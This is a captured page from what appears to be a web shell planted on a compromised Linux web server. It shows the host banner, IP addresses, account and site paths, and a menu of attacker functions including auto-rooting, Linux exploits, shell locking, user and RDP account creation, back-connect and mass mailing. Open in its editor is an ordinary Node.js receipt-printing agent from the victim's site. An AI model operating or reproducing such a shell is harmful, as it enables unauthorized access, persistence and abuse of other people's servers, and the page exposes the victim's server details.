Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.69
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signalhgstore.com /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
local-print-agent.js
2.32
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : local-print-agent.js
const http = require('http'); const fs = require('fs'); const os = require('os'); const path = require('path'); const { execFile } = require('child_process'); const port = Number(process.env.PMS_PRINT_AGENT_PORT || 9109); const printerName = process.env.PMS_PRINTER_NAME || ''; function send(res, status, body) { res.writeHead(status, { 'content-type': 'application/json', 'access-control-allow-origin': '*', 'access-control-allow-methods': 'GET,POST,OPTIONS', 'access-control-allow-headers': 'content-type', }); res.end(JSON.stringify(body)); } function collectJson(req) { return new Promise((resolve, reject) => { let body = ''; req.on('data', chunk => { body += chunk; }); req.on('end', () => { try { resolve(JSON.parse(body || '{}')); } catch (error) { reject(error); } }); }); } function printText(payload) { return new Promise((resolve, reject) => { const file = path.join(os.tmpdir(), `pms-receipt-${Date.now()}.txt`); fs.writeFileSync(file, payload.receipt || '', 'utf8'); const args = printerName ? ['-NoProfile', '-Command', `Start-Process -FilePath notepad.exe -ArgumentList '/p','${file.replace(/'/g, "''")}' -WindowStyle Hidden`] : ['-NoProfile', '-Command', `Start-Process -FilePath notepad.exe -ArgumentList '/p','${file.replace(/'/g, "''")}' -WindowStyle Hidden`]; execFile('powershell.exe', args, { windowsHide: true }, (error) => { if (error) reject(error); else resolve(file); }); }); } const server = http.createServer(async (req, res) => { if (req.method === 'OPTIONS') { return send(res, 200, { ok: true }); } if (req.method === 'GET' && req.url === '/health') { return send(res, 200, { ok: true, printerName: printerName || 'Windows default printer' }); } if (req.method === 'POST' && req.url === '/print') { try { const payload = await collectJson(req); const file = await printText(payload); return send(res, 200, { ok: true, invoice: payload.invoice, file }); } catch (error) { return send(res, 500, { ok: false, error: error.message }); } } send(res, 404, { ok: false, error: 'Not found' }); }); server.listen(port, '127.0.0.1', () => { console.log(`PMS local print agent running at http://127.0.0.1:${port}`); console.log(`Printer: ${printerName || 'Windows default printer'}`); });
Close